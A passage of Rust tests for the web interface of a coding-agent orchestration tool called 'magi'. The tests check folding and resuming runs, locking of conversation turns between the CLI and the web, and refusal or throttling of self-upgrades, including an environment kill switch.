20997            .filter(|name| !name.is_empty())
20998            .collect();
20999        assert!(
21000            published.len() > 5,
21001            "the refs literal did not parse into names: {published:?}"
21002        );
21003
21004        // What the updaters reach for: every `r.<name>`, where `r` is the
21005        // `const r = row.refs` alias both functions open with.
21006        let mut used: Vec<&str> = Vec::new();
21007        let updaters = &APP_JS[update..end];
21008        for (at, _) in updaters.match_indices("r.") {
21009            // `r` must be the whole identifier, not the tail of another one
21010            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21011            let before = updaters[..at].chars().next_back();
21012            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21013                continue;
21014            }
21015            let rest = &updaters[at + 2..];
21016            let len = rest
21017                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21018                .unwrap_or(rest.len());
21019            if len > 0 {
21020                used.push(&rest[..len]);
21021            }
21022        }
21023        assert!(
21024            used.len() > 5,
21025            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21026        );
21027
21028        let missing: Vec<&str> = used
21029            .iter()
21030            .copied()
21031            .filter(|name| !published.contains(name))
21032            .collect();
21033        assert!(
21034            missing.is_empty(),
21035            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21036             never put in `refs` - every card will throw and the list will \
21037             render empty under a count line that says otherwise. Published: \
21038             {published:?}"
21039        );
21040    }
21041
21042    #[tokio::test]
21043    async fn folding_from_the_phone_reports_what_it_removed() {
21044        let fx = Fixture::start().await;
21045        let runs = fx.runs();
21046
21047        // A run with no candidates has nothing to fold, which is a 200 with an
21048        // honest count rather than an error: the operator asked for the trees
21049        // to be gone and they are.
21050        let id = "20260901-000000-fold";
21051        write_run(&runs, id, RunStatus::Stalled);
21052        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21053        assert_eq!(res.status, 200);
21054        assert_eq!(res.json()["removed_count"], 0);
21055        assert_eq!(res.json()["run"], id);
21056        assert!(
21057            runs.join(id).exists(),
21058            "a fold keeps the run's record; only the worktrees go"
21059        );
21060    }
21061
21062    #[tokio::test]
21063    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21064        let fx = Fixture::start().await;
21065        let runs = fx.runs();
21066        let wt = fx.home.path().join("wt").join("magi").join("dead");
21067        let id = "20260901-000000-dead";
21068        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21069        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21070        std::fs::create_dir_all(&wt).expect("worktree dir");
21071
21072        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21073        assert_eq!(res.status, 200, "{}", res.body);
21074        assert!(
21075            res.json()["removed_count"].as_u64().unwrap() > 0,
21076            "the worktree this build could not read a state for still went"
21077        );
21078        assert!(
21079            !runs.join(id).exists(),
21080            "an unreadable run has no candidate list to fold selectively, so \
21081             the whole record goes - same as `magi fold` on the CLI"
21082        );
21083    }
21084
21085    #[tokio::test]
21086    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21087        let fx = Fixture::start().await;
21088        let runs = fx.runs();
21089        let wt = fx.home.path().join("wt").join("magi").join("gone");
21090        let id = "20260901-000000-gone";
21091        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21092        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21093        std::fs::create_dir_all(&wt).expect("worktree dir");
21094
21095        let res = fx.delete(&format!("/api/runs/{id}")).await;
21096        assert_eq!(res.status, 204, "{}", res.body);
21097        assert!(!runs.join(id).exists(), "the broken record is gone");
21098        assert!(!wt.exists(), "its worktree is gone too");
21099    }
21100
21101    #[tokio::test]
21102    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21103        let fx = Fixture::start().await;
21104        let runs = fx.runs();
21105        let id = "20260901-000000-live";
21106        write_run(&runs, id, RunStatus::Implementing);
21107
21108        let mut beat = crate::daemon::Status::new();
21109        beat.current = vec![crate::daemon::Current {
21110            task: "20260901-000000-task".to_owned(),
21111            run: id.to_owned(),
21112        }];
21113        beat.updated_at = jiff::Timestamp::now();
21114        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21115            .expect("publish a heartbeat");
21116
21117        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21118        assert_eq!(res.status, 409);
21119        assert!(
21120            res.json()["error"]
21121                .as_str()
21122                .unwrap()
21123                .contains("live daemon"),
21124            "folding under a running agent would pull its worktree away"
21125        );
21126    }
21127
21128    #[tokio::test]
21129    async fn fold_merged_requires_a_pr_url() {
21130        let fx = Fixture::start().await;
21131        let runs = fx.runs();
21132        let id = "20260901-000000-nourl";
21133        write_run(&runs, id, RunStatus::Blocked);
21134
21135        let res = fx
21136            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21137            .await;
21138        assert_eq!(res.status, 400, "{}", res.body);
21139
21140        let blank = fx
21141            .post(
21142                &format!("/api/runs/{id}/fold-merged"),
21143                Some(r#"{"pr_url":"   "}"#),
21144            )
21145            .await;
21146        assert_eq!(blank.status, 400, "{}", blank.body);
21147    }
21148
21149    #[tokio::test]
21150    async fn fold_merged_is_404_for_an_unknown_run() {
21151        let fx = Fixture::start().await;
21152        let res = fx
21153            .post(
21154                "/api/runs/nosuchrun/fold-merged",
21155                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21156            )
21157            .await;
21158        assert_eq!(res.status, 404, "{}", res.body);
21159    }
21160
21161    #[tokio::test]
21162    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21163        let fx = Fixture::start().await;
21164        let runs = fx.runs();
21165        let id = "20260901-000000-livemerge";
21166        write_run(&runs, id, RunStatus::Blocked);
21167
21168        let mut beat = crate::daemon::Status::new();
21169        beat.current = vec![crate::daemon::Current {
21170            task: "20260901-000000-task".to_owned(),
21171            run: id.to_owned(),
21172        }];
21173        beat.updated_at = jiff::Timestamp::now();
21174        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21175            .expect("publish a heartbeat");
21176
21177        let res = fx
21178            .post(
21179                &format!("/api/runs/{id}/fold-merged"),
21180                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21181            )
21182            .await;
21183        assert_eq!(res.status, 409, "{}", res.body);
21184        assert!(
21185            res.json()["error"]
21186                .as_str()
21187                .unwrap()
21188                .contains("live daemon"),
21189            "correcting a run's merge underneath a running agent would race \
21190             whatever it is doing to the same `status`/`merge` fields"
21191        );
21192    }
21193
21194    /// A pull request `gh` cannot even ask about (no such remote, no such
21195    /// repository) must never be recorded as a merge on a guess - the same
21196    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21197    /// command line, reached here through the phone route instead.
21198    #[tokio::test]
21199    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21200        let fx = Fixture::start().await;
21201        let runs = fx.runs();
21202        let id = "20260901-000000-unconfirmed";
21203        write_run(&runs, id, RunStatus::Blocked);
21204
21205        let res = fx
21206            .post(
21207                &format!("/api/runs/{id}/fold-merged"),
21208                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21209            )
21210            .await;
21211        assert_eq!(res.status, 400, "{}", res.body);
21212        assert_eq!(
21213            read_run(&runs, id).unwrap().status,
21214            RunStatus::Blocked,
21215            "a pull request that could not be confirmed merged must leave \
21216             the run exactly where it was"
21217        );
21218    }
21219
21220    #[tokio::test]
21221    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21222        let fx = Fixture::start().await;
21223        let runs = fx.runs();
21224
21225        // Only a finished run and a failed one. An *interrupted* run - a
21226        // parked one, or one whose daemon was killed mid-node - is the case
21227        // resuming exists for: run 4043 sat at `reviewing` with the deck
21228        // saying it could not be resumed, which was the one state where
21229        // resuming was the only sensible answer.
21230        for (status, word) in [
21231            (RunStatus::Merged, "merged"),
21232            (RunStatus::Ready, "ready"),
21233            (RunStatus::Failed, "failed"),
21234        ] {
21235            let id = format!("20260901-000000-{}", &word[..4]);
21236            write_run(&runs, &id, status);
21237            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21238            assert_eq!(res.status, 409, "{word} must not be resumable");
21239            let err = res.json()["error"].as_str().unwrap().to_owned();
21240            assert!(err.contains(word), "the refusal names the status: {err}");
21241        }
21242
21243        // And an interrupted run is accepted: 202, with the resume running in
21244        // the background. `Runner::resume` fails immediately here - the
21245        // fixture's run points at a repository that does not exist - which is
21246        // the point: the handler must not wait for it to find out.
21247        let mid = "20260901-000000-midf";
21248        write_run(&runs, mid, RunStatus::Reviewing);
21249        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21250        assert_eq!(res.status, 202, "an interrupted run is resumable");
21251    }
21252
21253    #[tokio::test]
21254    async fn resume_is_refused_while_the_loop_is_running() {
21255        let fx = Fixture::start().await;
21256        let runs = fx.runs();
21257        let stalled = "20260901-000000-stal";
21258        write_run(&runs, stalled, RunStatus::Stalled);
21259
21260        // The loop is busy with a *different* run, and that is still a
21261        // refusal: a manual resume must never race whatever the loop itself
21262        // is already driving, whether that is one run or several.
21263        let mut beat = crate::daemon::Status::new();
21264        beat.current = vec![crate::daemon::Current {
21265            task: "20260901-000000-task".to_owned(),
21266            run: "20260901-000000-othr".to_owned(),
21267        }];
21268        beat.updated_at = jiff::Timestamp::now();
21269        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21270            .expect("publish a heartbeat");
21271
21272        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21273        assert_eq!(res.status, 409);
21274        let err = res.json()["error"].as_str().unwrap().to_owned();
21275        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21276        assert!(err.contains("stop it first"), "{err}");
21277    }
21278
21279    #[test]
21280    fn a_run_cannot_be_resumed_twice_at_once() {
21281        let home = TempDir::new().expect("temp home");
21282        let ui = Ui::new(
21283            Queue::at(home.path().join("queue")),
21284            Questions::at(home.path().join("questions")),
21285            Talks::at(home.path().join("talks")),
21286            home.path().join("runs"),
21287            home.path().to_path_buf(),
21288            PathBuf::from("/repo"),
21289        )
21290        .with_worktrees_root(home.path().join("wt"));
21291        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21292        let again = ui.begin_resume("20260901-000000-once");
21293        assert!(again.is_err(), "a second tap must not start a second graph");
21294        drop(first);
21295        assert!(
21296            ui.begin_resume("20260901-000000-once").is_ok(),
21297            "and the claim is released when the attempt ends"
21298        );
21299    }
21300
21301    #[test]
21302    fn talk_thinking_tracks_only_its_held_turn_claim() {
21303        let home = TempDir::new().expect("temp home");
21304        let ui = Ui::new(
21305            Queue::at(home.path().join("queue")),
21306            Questions::at(home.path().join("questions")),
21307            Talks::at(home.path().join("talks")),
21308            home.path().join("runs"),
21309            home.path().to_path_buf(),
21310            PathBuf::from("/repo"),
21311        )
21312        .with_worktrees_root(home.path().join("wt"));
21313        let id = "20260901-000000-once";
21314
21315        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21316        let turn = ui.begin_talk_turn(id).expect("claim turn");
21317        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21318        assert!(
21319            !ui.is_thinking("20260901-000000-other"),
21320            "one talk's turn does not make another talk busy"
21321        );
21322        drop(turn);
21323        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21324    }
21325
21326    #[test]
21327    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21328        let home = TempDir::new().expect("temp home");
21329        let talks = Talks::at(home.path().join("talks"));
21330        let ui = Ui::new(
21331            Queue::at(home.path().join("queue")),
21332            Questions::at(home.path().join("questions")),
21333            talks.clone(),
21334            home.path().join("runs"),
21335            home.path().to_path_buf(),
21336            PathBuf::from("/repo"),
21337        )
21338        .with_worktrees_root(home.path().join("wt"));
21339        let id = "20260901-000000-cross";
21340
21341        let other = Talks::at(home.path().join("talks"))
21342            .claim_turn(id)
21343            .expect("claim")
21344            .expect("the other process wins");
21345        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21346        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21347        assert!(
21348            matches!(
21349                ui.begin_talk_turn_unless_pending(id).expect("start"),
21350                TalkTurnStart::Foreign
21351            ),
21352            "a foreign holder is refused, not queued behind"
21353        );
21354        assert!(
21355            !ui.talk_turns.lock().unwrap().live.contains(id),
21356            "a refused claim leaves no in-process entry behind"
21357        );
21358        drop(other);
21359        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21360        assert!(talks.turn_held(id), "the web turn holds the lease");
21361        drop(turn);
21362        assert!(
21363            !talks.turn_held(id),
21364            "dropping the guard releases the lease"
21365        );
21366    }
21367
21368    fn consult_question(ui: &Ui) -> Question {
21369        let mut q = Question::new(
21370            "20260901-000000-consult".to_owned(),
21371            "implement".to_owned(),
21372            "impl-A".to_owned(),
21373            "Which backend?".to_owned(),
21374            String::new(),
21375            vec!["SQLite".to_owned(), "Redis".to_owned()],
21376        );
21377        ui.questions.put(&mut q).expect("question");
21378        q
21379    }
21380
21381    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21382        (
21383            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21384            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21385        )
21386    }
21387
21388    #[tokio::test]
21389    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21390        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21391        let q = consult_question(&ui);
21392        let talk = ui.talks.get(&id).expect("talk");
21393        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21394        let before = consult_snapshot(&ui, &q, &id);
21395        let cli_talks = Talks::at(ui.home.join("talks"));
21396        assert_eq!(
21397            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21398                .await
21399                .expect("CLI starter"),
21400            crate::consult::Started::Busy
21401        );
21402        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21403        assert!(ui.is_thinking(&id));
21404        drop(guard);
21405        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21406    }
21407
21408    #[tokio::test]
21409    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21410        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21411        let q = consult_question(&ui);
21412        let talk = ui.talks.get(&id).expect("talk");
21413        let started = tmp.path().join("started");
21414        let release = tmp.path().join("release");
21415        let script = tmp.path().join("consult-agent.sh");
21416        std::fs::write(
21417            &script,
21418            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21419        )
21420        .expect("script");
21421        let mut cfg = stub_config();
21422        cfg.agents[0].id = "mock".to_owned();
21423        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21424        cfg.agents[0].env = std::collections::BTreeMap::from([
21425            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21426            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21427        ]);
21428        let questions = ui.questions.clone();
21429        let cli_talks = Talks::at(ui.home.join("talks"));
21430        let cli_q = q.clone();
21431        let turn = tokio::spawn(async move {
21432            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21433        });
21434        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21435            while !started.exists() {
21436                tokio::time::sleep(Duration::from_millis(10)).await;
21437            }
21438        })
21439        .await;
21440        // Always release and join the agent, even if readiness or the web
21441        // request fails, so a failed assertion cannot leave a turn behind.
21442        let refusal = if ready.is_ok() {
21443            let before = consult_snapshot(&ui, &q, &id);
21444            let result = talk_say(
21445                State(Arc::clone(&ui)),
21446                Path(id.clone()),
21447                Ok(Json(NewTalkTurn {
21448                    reply_to: None,
21449                    text: "another message".to_owned(),
21450                    attachments: Vec::new(),
21451                })),
21452            )
21453            .await;
21454            Some((result, before, consult_snapshot(&ui, &q, &id)))
21455        } else {
21456            None
21457        };
21458        std::fs::write(&release, "").expect("release agent");
21459        let done = turn.await.expect("join CLI turn");
21460        ready.expect("agent started before deadline");
21461        let (result, before, after) = refusal.expect("web request");
21462        let error = result.expect_err("web must refuse the CLI's turn");
21463        assert_eq!(error.status, StatusCode::CONFLICT);
21464        assert!(error.message.contains("a turn is already running"));
21465        assert_eq!(
21466            after, before,
21467            "refusal preserves question, draft and history"
21468        );
21469        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21470        let guard = ui
21471            .begin_talk_turn(&id)
21472            .expect("web claim")
21473            .expect("free again");
21474        drop(guard);
21475    }
21476
21477    #[test]
21478    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21479        let home = TempDir::new().expect("temp home");
21480        let talks = Talks::at(home.path().join("talks"));
21481        let ui = Ui::new(
21482            Queue::at(home.path().join("queue")),
21483            Questions::at(home.path().join("questions")),
21484            talks.clone(),
21485            home.path().join("runs"),
21486            home.path().to_path_buf(),
21487            PathBuf::from("/repo"),
21488        )
21489        .with_worktrees_root(home.path().join("wt"));
21490        let id = "20260901-000000-order";
21491        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21492        // Hold the slot mutex so the drop can finish the lease but not the slot.
21493        let slots = ui.talk_turns.lock().unwrap();
21494        let dropper = std::thread::spawn(move || drop(turn));
21495        let start = std::time::Instant::now();
21496        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21497            std::thread::sleep(Duration::from_millis(5));
21498        }
21499        assert!(!talks.turn_held(id), "the lease is released first");
21500        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21501        drop(slots);
21502        dropper.join().expect("join");
21503        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21504    }
21505
21506    #[tokio::test]
21507    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21508        let fx = Fixture::start().await;
21509        // Somebody else's `magi serve` owns the queue. Replacing this binary
21510        // would leave that process running an old one against the same
21511        // claims, which is worse than refusing.
21512        let mut beat = crate::daemon::Status::new();
21513        beat.pid = 4321;
21514        beat.updated_at = jiff::Timestamp::now();
21515        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21516            .expect("publish a heartbeat");
21517
21518        let res = fx.post("/api/upgrade", None).await;
21519        assert_eq!(res.status, 409);
21520        let err = res.json()["error"].as_str().unwrap().to_owned();
21521        assert!(err.contains("4321"), "the refusal names the owner: {err}");
21522        assert!(err.contains("old one against the same queue"), "{err}");
21523    }
21524
21525    /// [`should_spawn_recheck`] must refuse for the same two reasons
21526    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21527    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21528    /// Purely a predicate over config and the environment - no network, no
21529    /// disk, no runtime - so unlike the fixture-based tests around it this
21530    /// one needs neither.
21531    #[test]
21532    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21533        assert!(!should_spawn_recheck(&crate::config::Update {
21534            mode: UpdateMode::Off,
21535            interval: None,
21536        }));
21537
21538        // SAFETY: single-threaded as far as this variable goes, the same
21539        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21540        unsafe {
21541            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21542        }
21543        let killed = should_spawn_recheck(&crate::config::Update {
21544            mode: UpdateMode::Notify,
21545            interval: None,
21546        });
21547        unsafe {
21548            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21549        }
21550        assert!(
21551            !killed,
21552            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21553             one-time startup check"
21554        );
21555
21556        assert!(should_spawn_recheck(&crate::config::Update {
21557            mode: UpdateMode::Notify,
21558            interval: None,
21559        }));
21560    }
21561
21562    /// [`recheck_poll_period`] must track a configured `[update] interval`
21563    /// shorter than its own default ceiling - a fixed sleep here would leave
21564    /// an operator's short interval waiting on the next wake-up instead of on
21565    /// `should_check`, which is the same bug this whole task exists to fix,
21566    /// just one level down.
21567    #[test]
21568    fn recheck_poll_period_tracks_a_short_configured_interval() {
21569        let short = crate::config::Update {
21570            mode: UpdateMode::Notify,
21571            interval: Some("1m".to_owned()),
21572        };
21573        let period = recheck_poll_period(&short);
21574        assert!(
21575            period <= Duration::from_secs(30),
21576            "a one-minute interval must wake the task far sooner than the \
21577             default ceiling, or the deck would not notice within the \
21578             interval the operator configured: got {period:?}"
21579        );
21580
21581        let default = crate::config::Update {
21582            mode: UpdateMode::Notify,
21583            interval: None,
21584        };
21585        assert_eq!(
21586            recheck_poll_period(&default),
21587            UPDATE_RECHECK_POLL_MAX,
21588            "the default day-long interval should poll at the (capped) \
21589             ceiling rather than needlessly often"
21590        );
21591    }
21592
21593    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21594    /// same throttle `updater::Checker::should_check` already gives the
21595    /// CLI's notify mode. Built over an explicit state file via
21596    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21597    /// write the operator's real `last_update_check.json` - and therefore
21598    /// cannot flake on whatever that file happens to say on the machine
21599    /// running the test.
21600    #[test]
21601    fn recheck_skips_the_network_before_the_interval_elapses() {
21602        let dir = TempDir::new().expect("temp dir");
21603        let path = dir.path().join("state.json");
21604        let state = kaishin::UpdateCheckState {
21605            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21606            last_known_latest: None,
21607            last_known_url: None,
21608        };
21609        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21610
21611        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21612        assert!(
21613            !update_recheck_due(&checker, None),
21614            "a check made moments ago must not be repeated before the \
21615             configured interval elapses"
21616        );
21617    }
21618
21619    /// An upgrade this deck already started must not be raced by a recheck
21620    /// that discovers a newer release mid-install - regardless of what
21621    /// `should_check` says, which is why the state file here is missing
21622    /// entirely: read alone, that alone would answer "never checked, go
21623    /// ahead".
21624    #[test]
21625    fn recheck_defers_to_an_upgrade_already_in_flight() {
21626        let dir = TempDir::new().expect("temp dir");
21627        let path = dir.path().join("state.json");
21628        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21629        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21630
21631        assert!(
21632            !update_recheck_due(&checker, Some(&progress)),
21633            "a recheck must not run while an upgrade this deck started is \
21634             still moving"
21635        );
21636    }
21637
21638    #[tokio::test]
21639    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21640        // The same env var the background check honours (`disabled_by_env`)
21641        // must also stop a button press before it ever calls
21642        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
21643        // means "never contact GitHub from this process", and a tap on the
21644        // upgrade button must not override that any more than a broken
21645        // `magi.toml` may. Left unset, this fixture's default config would
21646        // otherwise reach a real, unauthenticated GitHub call.
21647        //
21648        // SAFETY: single-threaded as far as this variable goes - nothing else
21649        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
21650        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21651        unsafe {
21652            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21653        }
21654        let fx = Fixture::start().await;
21655        let res = fx.post("/api/upgrade", None).await;
21656        unsafe {
21657            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21658        }
21659        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21660        let body = res.json();
21661        assert!(body["to"].is_null(), "there was no release to move to");
21662        assert!(body["parked"].is_null(), "and nothing was parked");
21663        assert!(
21664            body["detail"]
21665                .as_str()
21666                .unwrap()
21667                .contains("disabled by MAGI_NO_AUTOUPDATE"),
21668            "{body:?}"
21669        );
21670    }
21671
21672    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21673        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21674        p.stage = stage;
21675        p
21676    }
21677
21678    #[test]
21679    fn busy_stages_match_the_ui_set() {
21680        use crate::updater::Stage;
21681        assert!(APP_JS.contains(
21682            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21683        ));
21684        for s in [
21685            Stage::Downloading,
21686            Stage::Replaced,
21687            Stage::Parking,
21688            Stage::Restarting,
21689        ] {
21690            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21691        }
21692        for s in [Stage::Done, Stage::Failed] {
21693            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21694        }
21695        assert!(upgrade_in_motion(None).is_none());
21696    }
21697
21698    #[tokio::test]
21699    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21700        use crate::updater::Stage;
21701        for stage in [
21702            Stage::Downloading,
21703            Stage::Replaced,
21704            Stage::Parking,
21705            Stage::Restarting,
21706        ] {
21707            let fx = Fixture::start().await;
21708            let seeded = seeded_progress(stage);
21709            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21710            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21711                .expect("read");
21712
21713            let res = fx.post("/api/upgrade", None).await;
21714            assert_eq!(res.status, 409, "{stage:?}");
21715            let err = res.json()["error"].as_str().unwrap().to_owned();
21716            assert!(err.contains("already in progress"), "{err}");
21717            assert!(err.contains(stage.as_str()), "{err}");
21718
21719            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21720                .expect("read");
21721            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21722            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21723                .unwrap_or_default();
21724            assert!(!log.contains("signalling HANDOVER"), "{log}");
21725        }
21726    }
21727
21728    #[test]
21729    fn upgrade_retry_timing_only_parses_known_diagnostics() {
21730        assert_eq!(
21731            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21732            Some(3723)
21733        );
21734        assert_eq!(
21735            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21736            Some(60)
21737        );
21738        assert_eq!(
21739            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21740            Some(0)
21741        );
21742        for message in [
21743            "permission denied",
21744            "GitHub API rate limit exceeded",
21745            "GitHub rate limit (resets in unknown)",
21746            "GitHub rate limit (resets in 18446744073709551615d)",
21747        ] {
21748            assert_eq!(upgrade_retry_after(message), None, "{message}");
21749        }
21750    }
21751
21752    #[tokio::test]
21753    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21754        let home = TempDir::new().unwrap();
21755        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21756        ui.start_loop(None).unwrap();
21757        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21758        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21759        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21760        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21761        let response = finish_upgrade_request(&ui, result);
21762        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21763        assert_eq!(response.headers()["retry-after"], "120");
21764        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21765            .await
21766            .unwrap();
21767        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21768        assert!(body["error"].as_str().unwrap().contains(reason));
21769        assert_eq!(body["retry_after_secs"], 120);
21770        assert!(body["retry_at"].as_u64().is_some());
21771        for _ in 0..2 {
21772            let view = health(State(ui.clone())).await.unwrap().0;
21773            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21774            assert_eq!(failure, body);
21775        }
21776        assert_eq!(
21777            std::fs::read(updater::progress_path(home.path())).unwrap(),
21778            before
21779        );
21780        assert!(!ui.lock_loop().resume_after_handover);
21781        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21782        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21783        // A conflicting request must not erase the actionable earlier failure.
21784        let gate = ui.upgrade_gate.lock().await;
21785        assert_eq!(
21786            upgrade_post(State(ui.clone())).await.status(),
21787            StatusCode::CONFLICT
21788        );
21789        drop(gate);
21790        assert!(
21791            health(State(ui.clone()))
21792                .await
21793                .unwrap()
21794                .0
21795                .upgrade_request_error
21796                .is_some()
21797        );
21798        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21799        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21800        assert!(
21801            health(State(ui.clone()))
21802                .await
21803                .unwrap()
21804                .0
21805                .upgrade_request_error
21806                .is_none()
21807        );
21808        let live = ui.lock_loop().live.take().unwrap();
21809        live.stop.stop();
21810        live.handle.await.unwrap();
21811    }
21812
21813    #[tokio::test]
21814    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21815        use crate::updater::Stage;
21816        let repo = TempDir::new().expect("repo dir");
21817        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21818            .expect("write magi.toml");
21819        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21820        for stage in [Stage::Done, Stage::Failed] {
21821            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21822            let res = fx.post("/api/upgrade", None).await;
21823            assert_eq!(res.status, 200, "{stage:?}");
21824        }
21825        // No record at all, and the gate was released by the earlier calls.
21826        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21827        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21828    }
21829
21830    #[tokio::test]
21831    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
